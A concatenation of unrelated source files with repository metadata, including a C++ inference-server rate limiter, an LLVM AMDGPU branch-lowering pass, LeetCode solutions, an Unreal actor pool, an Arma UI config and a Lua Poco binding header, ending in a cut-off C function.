LOG_VERBOSE(1) << resource_map_str;
}
return Status::Success;
}
Status
RateLimiter::ResourceManager::ValidateMaxResources()
{
for (const auto& global_resource : max_resources_[GLOBAL_RESOURCE_KEY]) {
for (const auto& ditr : max_resources_) {
if (ditr.first != GLOBAL_RESOURCE_KEY) {
for (const auto& ritr : ditr.second) {
if (global_resource.first.compare(ritr.first) == 0) {
return Status(
Status::Code::INVALID_ARG,
(std::string("Resource \"") + ritr.first +
"\" is present as both global and device-specific resource in "
"the model configuration.")
.c_str());
}
}
}
}
}
return Status::Success;
}
Status
RateLimiter::ResourceManager::ParseAndValidateExplicitResources()
{
for (auto& ditr : max_resources_) {
for (auto& ritr : ditr.second) {
// If not specified explicitly, consider the resource to be unavailable.
size_t resource_count = 0;
if (ditr.first == GLOBAL_RESOURCE_KEY) {
// Ignore the device specification... will search for all resources in
// the map...
for (const auto& exp_ditr : explicit_max_resources_) {
for (const auto& exp_ritr : exp_ditr.second) {
if (ritr.first.compare(exp_ritr.first) == 0) {
if (resource_count < exp_ritr.second) {
resource_count = exp_ritr.second;
}
}
}
}
} else {
// Search only for the device specific or per-device resources...
// device-specific
for (const auto& exp_ritr : explicit_max_resources_[ditr.first]) {
if (ritr.first.compare(exp_ritr.first) == 0) {
if (resource_count < exp_ritr.second) {
resource_count = exp_ritr.second;
}
}
}
// per-device
for (const auto& exp_ritr :
explicit_max_resources_[PER_DEVICE_RESOURCE_KEY]) {
if (ritr.first.compare(exp_ritr.first) == 0) {
if (resource_count < exp_ritr.second) {
resource_count = exp_ritr.second;
}
}
}
}
if (resource_count < ritr.second) {
return Status(
Status::Code::INVALID_ARG,
(std::string("Resource \"") + ritr.first + "\" is limited to " +
std::to_string(resource_count) +
" which will prevent scheduling of one or more model "
"instances... the minimum expected count is " +
std::to_string(ritr.second))
.c_str());
} else {
ritr.second = resource_count;
}
}
}
return Status::Success;
}
bool
RateLimiter::ResourceManager::AllocateResources(
const RateLimiter::ModelInstance* instance)
{
std::lock_guard<std::mutex> lk1(model_resources_mtx_);
std::lock_guard<std::mutex> lk2(allocated_resources_mtx_);
const auto& itr = model_resources_.find(instance);
if (itr == model_resources_.end()) {
return false;
} else {
// First pass to verify if resources are available
{
std::lock_guard<std::mutex> lk3(max_resources_mtx_);
for (const auto& ditr : itr->second) {
auto allocated_ditr = allocated_resources_.find(ditr.first);
if (allocated_ditr == allocated_resources_.end()) {
allocated_ditr =
allocated_resources_
.emplace(ditr.first, std::map<std::string, size_t>())
.first;
}
for (const auto& ritr : ditr.second) {
auto allocated_ritr = allocated_ditr->second.find(ritr.first);
if (allocated_ritr == allocated_ditr->second.end()) {
allocated_ritr =
allocated_ditr->second.emplace(ritr.first, 0).first;
}
if ((allocated_ritr->second + ritr.second) >
(max_resources_[ditr.first])[ritr.first]) {
return false;
}
}
}
}
// Second pass to actually allocate the resources
for (const auto& ditr : itr->second) {
for (const auto& ritr : ditr.second) {
(allocated_resources_[ditr.first])[ritr.first] += ritr.second;
}
}
}
return true;
}
Status
RateLimiter::ResourceManager::ReleaseResources(
const RateLimiter::ModelInstance* instance)
{
std::lock_guard<std::mutex> lk1(model_resources_mtx_);
std::lock_guard<std::mutex> lk2(allocated_resources_mtx_);
const auto& itr = model_resources_.find(instance);
if (itr == model_resources_.end()) {
return Status(
Status::Code::INTERNAL,
"Unable find the instance resources to release");
} else {
for (const auto& ditr : itr->second) {
for (const auto& ritr : ditr.second) {
(allocated_resources_[ditr.first])[ritr.first] -= ritr.second;
}
}
}
return Status::Success;
}
RateLimiter::ResourceManager::ResourceManager(const ResourceMap& resource_map)
: explicit_max_resources_(resource_map)
{
}
}} // namespace nvidia::inferenceserver
|
[
"noreply@github.com"
] |
9cvele3.noreply@github.com
|
b1466c93ce6bc80b7e50382c6d91aed9dc217114
|
a0370090e044e2817842b90a9559be41282072c5
|
/DevExpress VCL/ExpressSpellChecker/Demos/CBuilder/MegaDemo/SpellCheckerMegaDemo.cpp
|
ba4f7ba3c73dcd69f588fa02a072a0105a208048
|
[] |
no_license
|
bravesoftdz/MyVCL-7
|
600a1c1be2ea71b198859b39b6da53c6b65601b3
|
197c1e284f9ac0791c15376bcf12c243400e7bcd
|
refs/heads/master
| 2022-01-11T17:18:00.430191
| 2018-12-20T08:23:02
| 2018-12-20T08:23:02
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 710
|
cpp
|
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
USERES("SpellCheckerMegaDemo.res");
USEFORM("MegaDemoMain.cpp", fmMain);
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
try
{
Application->Initialize();
Application->CreateForm(__classid(TfmMain), &fmMain);
Application->Run();
}
catch (Exception &exception)
{
Application->ShowException(&exception);
}
return 0;
}
//---------------------------------------------------------------------------
|
[
"karaim@mail.ru"
] |
karaim@mail.ru
|
ba93c5a91edd462b7762e033b8405645757eec51
|
792e697ba0f9c11ef10b7de81edb1161a5580cfb
|
/lib/Target/AMDGPU/SILateBranchLowering.cpp
|
4fa8ec7111343bf9679ef28717165862e6e9e3fb
|
[
"NCSA",
"LLVM-exception",
"Apache-2.0"
] |
permissive
|
opencor/llvmclang
|
9eb76cb6529b6a3aab2e6cd266ef9751b644f753
|
63b45a7928f2a8ff823db51648102ea4822b74a6
|
refs/heads/master
| 2023-08-26T04:52:56.472505
| 2022-11-02T04:35:46
| 2022-11-03T03:55:06
| 115,094,625
| 0
| 1
|
Apache-2.0
| 2021-08-12T22:29:21
| 2017-12-22T08:29:14
|
LLVM
|
UTF-8
|
C++
| false
| false
| 7,363
|
cpp
|
//===-- SILateBranchLowering.cpp - Final preparation of branches ----------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
/// \file
/// This pass mainly lowers early terminate pseudo instructions.
//
//===----------------------------------------------------------------------===//
#include "AMDGPU.h"
#include "GCNSubtarget.h"
#include "MCTargetDesc/AMDGPUMCTargetDesc.h"
#include "SIMachineFunctionInfo.h"
#include "llvm/CodeGen/MachineDominators.h"
#include "llvm/InitializePasses.h"
using namespace llvm;
#define DEBUG_TYPE "si-late-branch-lowering"
namespace {
class SILateBranchLowering : public MachineFunctionPass {
private:
const SIRegisterInfo *TRI = nullptr;
const SIInstrInfo *TII = nullptr;
MachineDominatorTree *MDT = nullptr;
void earlyTerm(MachineInstr &MI, MachineBasicBlock *EarlyExitBlock);
public:
static char ID;
unsigned MovOpc;
Register ExecReg;
SILateBranchLowering() : MachineFunctionPass(ID) {}
bool runOnMachineFunction(MachineFunction &MF) override;
StringRef getPassName() const override {
return "SI Final Branch Preparation";
}
void getAnalysisUsage(AnalysisUsage &AU) const override {
AU.addRequired<MachineDominatorTree>();
AU.addPreserved<MachineDominatorTree>();
MachineFunctionPass::getAnalysisUsage(AU);
}
};
} // end anonymous namespace
char SILateBranchLowering::ID = 0;
INITIALIZE_PASS_BEGIN(SILateBranchLowering, DEBUG_TYPE,
"SI insert s_cbranch_execz instructions", false, false)
INITIALIZE_PASS_DEPENDENCY(MachineDominatorTree)
INITIALIZE_PASS_END(SILateBranchLowering, DEBUG_TYPE,
"SI insert s_cbranch_execz instructions", false, false)
char &llvm::SILateBranchLoweringPassID = SILateBranchLowering::ID;
static void generateEndPgm(MachineBasicBlock &MBB,
MachineBasicBlock::iterator I, DebugLoc DL,
const SIInstrInfo *TII, MachineFunction &MF) {
const Function &F = MF.getFunction();
bool IsPS = F.getCallingConv() == CallingConv::AMDGPU_PS;
// Check if hardware has been configured to expect color or depth exports.
bool HasExports =
AMDGPU::getHasColorExport(F) || AMDGPU::getHasDepthExport(F);
// Prior to GFX10, hardware always expects at least one export for PS.
bool MustExport = !AMDGPU::isGFX10Plus(TII->getSubtarget());
if (IsPS && (HasExports || MustExport)) {
// Generate "null export" if hardware is expecting PS to export.
BuildMI(MBB, I, DL, TII->get(AMDGPU::EXP_DONE))
.addImm(AMDGPU::Exp::ET_NULL)
.addReg(AMDGPU::VGPR0, RegState::Undef)
.addReg(AMDGPU::VGPR0, RegState::Undef)
.addReg(AMDGPU::VGPR0, RegState::Undef)
.addReg(AMDGPU::VGPR0, RegState::Undef)
.addImm(1) // vm
.addImm(0) // compr
.addImm(0); // en
}
// s_endpgm
BuildMI(MBB, I, DL, TII->get(AMDGPU::S_ENDPGM)).addImm(0);
}
static void splitBlock(MachineBasicBlock &MBB, MachineInstr &MI,
MachineDominatorTree *MDT) {
MachineBasicBlock *SplitBB = MBB.splitAt(MI, /*UpdateLiveIns*/ true);
// Update dominator tree
using DomTreeT = DomTreeBase<MachineBasicBlock>;
SmallVector<DomTreeT::UpdateType, 16> DTUpdates;
for (MachineBasicBlock *Succ : SplitBB->successors()) {
DTUpdates.push_back({DomTreeT::Insert, SplitBB, Succ});
DTUpdates.push_back({DomTreeT::Delete, &MBB, Succ});
}
DTUpdates.push_back({DomTreeT::Insert, &MBB, SplitBB});
MDT->getBase().applyUpdates(DTUpdates);
}
void SILateBranchLowering::earlyTerm(MachineInstr &MI,
MachineBasicBlock *EarlyExitBlock) {
MachineBasicBlock &MBB = *MI.getParent();
const DebugLoc DL = MI.getDebugLoc();
auto BranchMI = BuildMI(MBB, MI, DL, TII->get(AMDGPU::S_CBRANCH_SCC0))
.addMBB(EarlyExitBlock);
auto Next = std::next(MI.getIterator());
if (Next != MBB.end() && !Next->isTerminator())
splitBlock(MBB, *BranchMI, MDT);
MBB.addSuccessor(EarlyExitBlock);
MDT->getBase().insertEdge(&MBB, EarlyExitBlock);
}
bool SILateBranchLowering::runOnMachineFunction(MachineFunction &MF) {
const GCNSubtarget &ST = MF.getSubtarget<GCNSubtarget>();
TII = ST.getInstrInfo();
TRI = &TII->getRegisterInfo();
MDT = &getAnalysis<MachineDominatorTree>();
MovOpc = ST.isWave32() ? AMDGPU::S_MOV_B32 : AMDGPU::S_MOV_B64;
ExecReg = ST.isWave32() ? AMDGPU::EXEC_LO : AMDGPU::EXEC;
SmallVector<MachineInstr *, 4> EarlyTermInstrs;
SmallVector<MachineInstr *, 1> EpilogInstrs;
bool MadeChange = false;
for (MachineBasicBlock &MBB : MF) {
for (MachineInstr &MI : llvm::make_early_inc_range(MBB)) {
switch (MI.getOpcode()) {
case AMDGPU::S_BRANCH:
// Optimize out branches to the next block.
// This only occurs in -O0 when BranchFolding is not executed.
if (MBB.isLayoutSuccessor(MI.getOperand(0).getMBB())) {
assert(&MI == &MBB.back());
MI.eraseFromParent();
MadeChange = true;
}
break;
case AMDGPU::SI_EARLY_TERMINATE_SCC0:
EarlyTermInstrs.push_back(&MI);
break;
case AMDGPU::SI_RETURN_TO_EPILOG:
EpilogInstrs.push_back(&MI);
break;
default:
break;
}
}
}
// Lower any early exit branches first
if (!EarlyTermInstrs.empty()) {
MachineBasicBlock *EarlyExitBlock = MF.CreateMachineBasicBlock();
DebugLoc DL;
MF.insert(MF.end(), EarlyExitBlock);
BuildMI(*EarlyExitBlock, EarlyExitBlock->end(), DL, TII->get(MovOpc),
ExecReg)
.addImm(0);
generateEndPgm(*EarlyExitBlock, EarlyExitBlock->end(), DL, TII, MF);
for (MachineInstr *Instr : EarlyTermInstrs) {
// Early termination in GS does nothing
if (MF.getFunction().getCallingConv() != CallingConv::AMDGPU_GS)
earlyTerm(*Instr, EarlyExitBlock);
Instr->eraseFromParent();
}
EarlyTermInstrs.clear();
MadeChange = true;
}
// Now check return to epilog instructions occur at function end
if (!EpilogInstrs.empty()) {
MachineBasicBlock *EmptyMBBAtEnd = nullptr;
assert(!MF.getInfo<SIMachineFunctionInfo>()->returnsVoid());
// If there are multiple returns to epilog then all will
// become jumps to new empty end block.
if (EpilogInstrs.size() > 1) {
EmptyMBBAtEnd = MF.CreateMachineBasicBlock();
MF.insert(MF.end(), EmptyMBBAtEnd);
}
for (auto MI : EpilogInstrs) {
auto MBB = MI->getParent();
if (MBB == &MF.back() && MI == &MBB->back())
continue;
// SI_RETURN_TO_EPILOG is not the last instruction.
// Jump to empty block at function end.
if (!EmptyMBBAtEnd) {
EmptyMBBAtEnd = MF.CreateMachineBasicBlock();
MF.insert(MF.end(), EmptyMBBAtEnd);
}
MBB->addSuccessor(EmptyMBBAtEnd);
MDT->getBase().insertEdge(MBB, EmptyMBBAtEnd);
BuildMI(*MBB, MI, MI->getDebugLoc(), TII->get(AMDGPU::S_BRANCH))
.addMBB(EmptyMBBAtEnd);
MI->eraseFromParent();
MadeChange = true;
}
EpilogInstrs.clear();
}
return MadeChange;
}
|
[
"agarny@hellix.com"
] |
agarny@hellix.com
|
8380a4923611a5d00698bcfc95fa9681163462d9
|
cf5b60492f74c289bbda7a79bce04f15f17eb0d6
|
/每日一题/6月/6.12.cpp
|
8e52cf9081a773ca98099a06f5badba84657069e
|
[] |
no_license
|
RoseAlice2018/Leetcode
|
8bfcf850baeda0a1be45e08e0b913b933f8bd519
|
e3c713f3dab13f96efe13949d8b8f3be21a2fe9e
|
refs/heads/master
| 2021-07-14T10:51:58.002714
| 2021-02-09T08:19:37
| 2021-02-09T08:19:37
| 290,232,050
| 1
| 2
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,698
|
cpp
|
#include<vector>
#include<algorithm>
using namespace std;
class Solution {
public:
vector<vector<int>> threeSum(vector<int>& nums)
{
vector<vector<int>> res;
sort(nums.begin(),nums.end());
vector<int> temp;
for(int i=0;i<nums.size();i++)
{
if(i>0&&nums[i]==nums[i-1])
continue;
temp.push_back(nums[i]);
for(int j=i+1;j<nums.size();j++)
{
if(j>i+1&&nums[j]==nums[j-1])
continue;
temp.push_back(nums[j]);
for(int m=nums.size()-1;m>j;m--)
{
if(nums[i]+nums[j]+nums[m]==0)
{
temp.push_back(nums[m]);
res.push_back(temp);
temp.pop_back();
break;
}
}
temp.pop_back();
}
temp.pop_back();
}
return res;
}
};
class Solution {
public:
vector<vector<int>> threeSum(vector<int>& nums) {
int n = nums.size();
sort(nums.begin(), nums.end());
vector<vector<int>> ans;
// 枚举 a
for (int first = 0; first < n; ++first)
{
// 需要和上一次枚举的数不相同
if (first > 0 && nums[first] == nums[first - 1])
{
continue;
}
// c 对应的指针初始指向数组的最右端
int third = n - 1;
int target = -nums[first];
// 枚举 b
for (int second = first + 1; second < n; ++second)
{
// 需要和上一次枚举的数不相同
if (second > first + 1 && nums[second] == nums[second - 1])
{
continue;
}
// 需要保证 b 的指针在 c 的指针的左侧
while (second < third && nums[second] + nums[third] > target)
{
--third;
}
// 如果指针重合,随着 b 后续的增加
// 就不会有满足 a+b+c=0 并且 b<c 的 c 了,可以退出循环
if (second == third)
{
break;
}
if (nums[second] + nums[third] == target)
{
ans.push_back({nums[first], nums[second], nums[third]});
}
}
}
return ans;
}
};
|
[
"40765813+RoseAlice2018@users.noreply.github.com"
] |
40765813+RoseAlice2018@users.noreply.github.com
|
ddfa7e1cf9b7209aa46a99c082b71aa8003f75bf
|
482c25699f34a0fd236dba772d85e932cda032ba
|
/Source/TestingGrounds/ActorPool.cpp
|
532f2dc493f9e7da279edd020e40c9a0ac143fe2
|
[] |
no_license
|
kablammyjr/TestingGroundsOLD
|
3cf833600d83e9bfc4e9bd57040504580f094572
|
0a360178e156f50e92deb7d283a5fe7285e19600
|
refs/heads/master
| 2020-03-21T19:14:04.802741
| 2018-07-16T04:01:02
| 2018-07-16T04:01:02
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 665
|
cpp
|
// Fill out your copyright notice in the Description page of Project Settings.
#include "ActorPool.h"
// Sets default values for this component's properties
UActorPool::UActorPool()
{
// Set this component to be initialized when the game starts, and to be ticked every frame. You can turn these features
// off to improve performance if you don't need them.
PrimaryComponentTick.bCanEverTick = true;
// ...
}
AActor* UActorPool::Checkout()
{
if (Pool.Num() == 0)
{
return nullptr;
}
return Pool.Pop();
}
void UActorPool::Return(AActor* ActorToReturn)
{
Add(ActorToReturn);
}
void UActorPool::Add(AActor* ActorToAdd)
{
Pool.Push(ActorToAdd);
}
|
[
"kablammyjr96@gmail.com"
] |
kablammyjr96@gmail.com
|
5bd0d5de6adb4232c4897addeaba94f3a02b2398
|
b60ed8f8a376ab5938a841648a101db175219d9b
|
/54.cc
|
3329d1c813445e05ba0003d384a7988205e58e6b
|
[] |
no_license
|
Coordinate36/leetcode
|
5faafeafa4e4beb2da5daf772c2cb6ee73b6b3aa
|
be895f9d4aab02c10581c67793515c2440d81b43
|
refs/heads/master
| 2021-06-08T01:25:24.544613
| 2020-08-30T13:49:18
| 2020-08-30T13:49:18
| 106,721,147
| 2
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 4,220
|
cc
|
#include <iostream>
#include <algorithm>
#include <map>
#include <string>
#include <vector>
#include <cmath>
using namespace std;
/* class Solution {
public:
vector<int> spiralOrder(vector<vector<int>>& matrix) {
if (matrix.empty()) {
return vector<int>();
}
int height = matrix.size();
int len = matrix[0].size();
vector<int> res(len * height);
int half_height = height >> 1;
int half_len = len >> 1;
int k = 0;
for (int i = 0; i < half_height && i < half_len; ++i) {
int lower_bound = height - i - 1;
int right_bound = len - i - 1;
for (int j = i; j < right_bound; ++j) {
res[k++] = matrix[i][j];
}
for (int j = i; j < lower_bound; ++j) {
res[k++] = matrix[j][right_bound];
}
for (int j = i; j < right_bound; ++j) {
res[k++] = matrix[lower_bound][right_bound + i - j];
}
for (int j = i; j < lower_bound; ++j) {
res[k++] = matrix[lower_bound + i - j][i];
}
}
if (height <= len && height & 1) {
int right_bound = len - half_height;
for (int j = half_height; j < right_bound; ++j) {
res[k++] = matrix[half_height][j];
}
} else if (len & 1) {
int lower_bound = height - half_len;
for (int j = half_len; j < lower_bound; ++j) {
res[k++] = matrix[j][half_len];
}
}
return res;
}
};
*/
/* class Solution {
public:
vector<int> spiralOrder(vector<vector<int>>& matrix) {
vector<int> res;
if (matrix.empty()) {
return res;
}
int height = matrix.size();
int len = matrix[0].size();
int left_bound = 0, right_bound = len - 1;
int lower_bound = 0, upper_bound = height - 1;
while (left_bound < right_bound && lower_bound < upper_bound) {
for (int j = left_bound; j <= right_bound; ++j) {
res.push_back(matrix[lower_bound][j]);
}
for (int i = lower_bound + 1; i <= upper_bound; ++i) {
res.push_back(matrix[i][right_bound]);
}
for (int j = right_bound - 1; j > left_bound; --j) {
res.push_back(matrix[upper_bound][j]);
}
for (int i = upper_bound; i > lower_bound; --i) {
res.push_back(matrix[i][left_bound]);
}
++left_bound;
++lower_bound;
--right_bound;
--upper_bound;
}
if (left_bound - 1 != right_bound && lower_bound - 1 != upper_bound) {
for (int j = left_bound; j <= right_bound; ++j) {
res.push_back(matrix[lower_bound][j]);
}
for (int i = lower_bound + 1; i <= upper_bound; ++i) {
res.push_back(matrix[i][right_bound]);
}
}
return res;
}
}; */
class Solution {
public:
vector<int> spiralOrder(vector<vector<int>>& matrix) {
vector<int> res;
if (matrix.empty()) {
return res;
}
int height = matrix.size();
int len = matrix[0].size();
vector<int> x_mvoe = {1, 0, -1, 0};
vector<int> y_move = {0, 1, 0, -1};
vector<vector<int>> visit(height, vector<int>(len, 0));
int di = 0;
int x = 0, y = 0;
int size = height * len;
for (int i = 0; i < size; ++i) {
res.push_back(matrix[y][x]);
visit[y][x] = 1;
int x_tmp = x + x_mvoe[di];
int y_tmp = y + y_move[di];
if (x_tmp >= 0 && x_tmp < len && y_tmp >= 0 && y_tmp < height && !visit[y_tmp][x_tmp]) {
x = x_tmp;
y = y_tmp;
} else {
di = (di + 1) % 4;
x += x_mvoe[di];
y += y_move[di];
}
}
return res;
}
};
int main() {
Solution solution;
vector<vector<int>> matrix = {{1, 2, 3}, {4, 5, 6}};
auto res = solution.spiralOrder(matrix);
return 0;
}
|
[
"2484652469@qq.com"
] |
2484652469@qq.com
|
f7f1daf54407e941bd482b1953bd6fb6c74f480d
|
72ca3c783d4946c361c7adc1ee0e728a46337d5b
|
/configs/RscCustomInfoTransportFeedCommander.cpp
|
959ff12875773001afcb6b14928a19090c8ee932
|
[] |
no_license
|
pennyworth12345/ContactConfigCompare
|
bedad3c99a097509aa2fe676a07f6e3850b62aec
|
e871366e36c80ad339aaab512b87b69bfe323040
|
refs/heads/master
| 2020-07-03T17:49:12.394661
| 2019-08-12T19:15:33
| 2019-08-12T19:15:33
| 201,992,619
| 2
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 3,421
|
cpp
|
class RscCustomInfoTransportFeedCommander: RscCustomInfoUAVFeed
{
idd = 318;
onLoad = "[""onLoad"",_this,""RscCustomInfoTransportFeedCommander"",'IGUI'] call (uinamespace getvariable 'BIS_fnc_initDisplay')";
onUnload = "[""onUnload"",_this,""RscCustomInfoTransportFeedCommander"",'IGUI'] call (uinamespace getvariable 'BIS_fnc_initDisplay')";
scriptName = "RscCustomInfoTransportFeedCommander";
scriptPath = "IGUI";
class controls
{
class CameraPictureSingleView: RscPicture
{
h = "(profilenamespace getvariable [""IGUI_GRID_CUSTOMINFORIGHT_H"", (10 * ( ( ((safezoneW / safezoneH) min 1.2) / 1.2) / 25))]) - 1.25 * ( ( ((safezoneW / safezoneH) min 1.2) / 1.2) / 25)";
idc = 102;
text = "#(argb,512,512,1)r2t(transportPipViewCommander,1.0)";
w = "(profilenamespace getvariable [""IGUI_GRID_CUSTOMINFORIGHT_W"", (10 * ( ((safezoneW / safezoneH) min 1.2) / 40))]) - 0.25 * ( ((safezoneW / safezoneH) min 1.2) / 40)";
x = "0.125 * ( ((safezoneW / safezoneH) min 1.2) / 40)";
y = "1.125 * ( ( ((safezoneW / safezoneH) min 1.2) / 1.2) / 25)";
};
class CamMode: RscIGUIText
{
h = "1 * ( ( ((safezoneW / safezoneH) min 1.2) / 1.2) / 25)";
IDC = 105;
sizeEx = "0.8 * ( ( ((safezoneW / safezoneH) min 1.2) / 1.2) / 25)";
style = 1;
text = "MODE";
w = "0.4 * (profilenamespace getvariable [""IGUI_GRID_CUSTOMINFORIGHT_W"", (10 * ( ((safezoneW / safezoneH) min 1.2) / 40))])";
x = "0.6 * (profilenamespace getvariable [""IGUI_GRID_CUSTOMINFORIGHT_W"", (10 * ( ((safezoneW / safezoneH) min 1.2) / 40))])";
y = 0;
};
class Heading: RscIGUIText
{
h = "1 * ( ( ((safezoneW / safezoneH) min 1.2) / 1.2) / 25)";
idc = 104;
sizeEx = "0.8 * ( ( ((safezoneW / safezoneH) min 1.2) / 1.2) / 25)";
style = 2;
text = "HDG";
w = "0.15 * (profilenamespace getvariable [""IGUI_GRID_CUSTOMINFORIGHT_W"", (10 * ( ((safezoneW / safezoneH) min 1.2) / 40))])";
x = "0.55 * (profilenamespace getvariable [""IGUI_GRID_CUSTOMINFORIGHT_W"", (10 * ( ((safezoneW / safezoneH) min 1.2) / 40))])";
y = 0;
};
class Source: RscIGUIText
{
h = "1 * ( ( ((safezoneW / safezoneH) min 1.2) / 1.2) / 25)";
IDC = 103;
sizeEx = "0.8 * ( ( ((safezoneW / safezoneH) min 1.2) / 1.2) / 25)";
style = 2;
text = "Commander";
w = "0.3 * (profilenamespace getvariable [""IGUI_GRID_CUSTOMINFORIGHT_W"", (10 * ( ((safezoneW / safezoneH) min 1.2) / 40))])";
x = "0.2 * (profilenamespace getvariable [""IGUI_GRID_CUSTOMINFORIGHT_W"", (10 * ( ((safezoneW / safezoneH) min 1.2) / 40))])";
y = 0;
};
class Title: RscIGUIText
{
colorBackground[] = {"(profilenamespace getvariable ['IGUI_BCG_RGB_R',0])", "(profilenamespace getvariable ['IGUI_BCG_RGB_G',1])", "(profilenamespace getvariable ['IGUI_BCG_RGB_B',1])", "(profilenamespace getvariable ['IGUI_BCG_RGB_A',0.8])"};
h = "1 * ( ( ((safezoneW / safezoneH) min 1.2) / 1.2) / 25)";
IDC = 103;
sizeEx = "0.8 * ( ( ((safezoneW / safezoneH) min 1.2) / 1.2) / 25)";
text = "CAM";
w = "(profilenamespace getvariable [""IGUI_GRID_CUSTOMINFORIGHT_W"", (10 * ( ((safezoneW / safezoneH) min 1.2) / 40))])";
x = "0 * ( ((safezoneW / safezoneH) min 1.2) / 40)";
y = "0 * ( ( ((safezoneW / safezoneH) min 1.2) / 1.2) / 25)";
};
};
};
|
[
"pennyworth12345@gmail.com"
] |
pennyworth12345@gmail.com
|
490e7dcd59cf6e75ab3d9e9a8079dc184c6e23a9
|
dccd1058e723b6617148824dc0243dbec4c9bd48
|
/yukicoder/657.cpp
|
abbcb1e15a8c95721c3be4a7b655763205358ecb
|
[] |
no_license
|
imulan/procon
|
488e49de3bcbab36c624290cf9e370abfc8735bf
|
2a86f47614fe0c34e403ffb35108705522785092
|
refs/heads/master
| 2021-05-22T09:24:19.691191
| 2021-01-02T14:27:13
| 2021-01-02T14:27:13
| 46,834,567
| 7
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 768
|
cpp
|
#include <bits/stdc++.h>
using namespace std;
using ll = long long;
#define rep(i,n) for(int (i)=0;(i)<(int)(n);++(i))
#define all(x) (x).begin(),(x).end()
#define pb push_back
#define fi first
#define se second
#define dbg(x) cout<<#x" = "<<((x))<<endl
template<class T,class U> ostream& operator<<(ostream& o, const pair<T,U> &p){o<<"("<<p.fi<<","<<p.se<<")";return o;}
template<class T> ostream& operator<<(ostream& o, const vector<T> &v){o<<"[";for(T t:v){o<<t<<",";}o<<"]";return o;}
const int N = 1000010;
int t[N]={};
int main(){
t[4] = 1;
for(int i=5; i<N; ++i){
for(int j=1; j<=4; ++j) (t[i] += t[i-j]) %= 17;
}
int q;
cin >>q;
while(q--){
int n;
cin >>n;
cout << t[n] << endl;
}
return 0;
}
|
[
"k0223.teru@gmail.com"
] |
k0223.teru@gmail.com
|
8f516d483385155342402fa0d779e5dca6d63d3a
|
359e771a08797bfdb7ff29e9b134ee186c932ef1
|
/src/foundation/Event.h
|
297888c91ef24b33d4d4d9917c68c4dcb120f4be
|
[] |
no_license
|
wxjwz/lua-poco
|
a7debd954b4bb722f69100fc2ee141e017b8397d
|
dbf7779d943a4fc9884d8ac7c7c7a7c11abc0604
|
refs/heads/master
| 2020-12-02T11:34:35.829265
| 2016-09-16T22:11:43
| 2016-09-16T22:11:43
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,019
|
h
|
#ifndef LUA_POCO_EVENT_H
#define LUA_POCO_EVENT_H
#include "LuaPoco.h"
#include "Loader.h"
#include "Userdata.h"
#include "Poco/Event.h"
#include "Poco/SharedPtr.h"
extern "C"
{
LUAPOCO_API int luaopen_poco_event(lua_State* L);
}
namespace LuaPoco
{
extern const char* POCO_EVENT_METATABLE_NAME;
class EventUserdata : public Userdata
{
public:
EventUserdata(bool autoReset = true);
EventUserdata(const Poco::SharedPtr<Poco::Event>& event);
virtual ~EventUserdata();
virtual bool copyToState(lua_State *L);
// register metatable for this class
static bool registerEvent(lua_State* L);
// constructor function
static int Event(lua_State* L);
private:
// metamethod infrastructure
static int metamethod__tostring(lua_State* L);
// userdata methods
static int set(lua_State* L);
static int tryWait(lua_State* L);
static int wait(lua_State* L);
static int reset(lua_State* L);
Poco::SharedPtr<Poco::Event> mEvent;
};
} // LuaPoco
#endif
|
[
"matt@cloverbasin.com"
] |
matt@cloverbasin.com
|
5ea052db0d02ddbedce3c016a0696b24d017519e
|
b0c546dbaa3cc51319dad04fb7f15d922d74d049
|
/1009.cpp
|
70b333c9ab9ca5ff7fb3413d8d86aa630b8a9b15
|
[] |
no_license
|
masruf14255/URI-PROBLEMS
|
cbdceff7845310092f8432be3a6316ac88bb7442
|
577e392c9d4614b2ec766d43105f38c9c82f0a3a
|
refs/heads/main
| 2023-05-09T10:20:24.470738
| 2021-06-02T13:31:25
| 2021-06-02T13:31:25
| 314,976,081
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 347
|
cpp
|
/*
Bismillahir Rahmanir Rahim
Read in the name of Allah, who created you!
Al Mashruf Tonoy
Department of CSE, Daffodil Internatinal University.
*/
#include<bits/stdc++.h>
using namespace std;
int main()
{
string s;
double m,b,t;
cin>>s>>m>>b;
t=(b*15)/100;
printf("TOTAL = R$ %.2lf\n",t+m);
}
|
[
"74848229+masruf14255@users.noreply.github.com"
] |
74848229+masruf14255@users.noreply.github.com
|
990699ca0e1f12d8394dc35d938d65211b666db6
|
412b848e178269b4e15f7e6879bbc293a2c62bb8
|
/67.add binary.cpp
|
09892c9195b5d13f65f79ca5c6a14399873ec405
|
[] |
no_license
|
iaccepted/leetcode
|
41d9cc5879516b899d005afe4276e66570d44b5c
|
ff551ccefab88a7f5fadbe7f31b4f52baf48662d
|
refs/heads/master
| 2021-01-21T14:01:57.195731
| 2016-02-17T11:03:02
| 2016-02-17T11:03:02
| 25,877,929
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,095
|
cpp
|
/******************************************
problem:
Given two binary strings, return their sum (also a binary string).
For example,
a = "11"
b = "1"
Return "100".
author: guohongzhi
language: C
******************************************/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char *reverse(char *s, int n)
{
for (int i = 0; i < n / 2; ++i)
{
char c = s[i];
s[i] = s[n - 1 - i];
s[n - 1 - i] = c;
}
return s;
}
char* addBinary(char* a, char* b)
{
int lena = strlen(a), lenb = strlen(b);
int maxx = lena > lenb ? lena : lenb;
char *res = (char *)calloc(maxx + 2, sizeof(char));
int index = 0, c = 0;
while (lena > 0 || lenb > 0)
{
short bita = 0, bitb = 0;
if (lena > 0)
{
bita = a[lena - 1] - '0';
--lena;
}
if (lenb > 0)
{
bitb = b[lenb - 1] - '0';
--lenb;
}
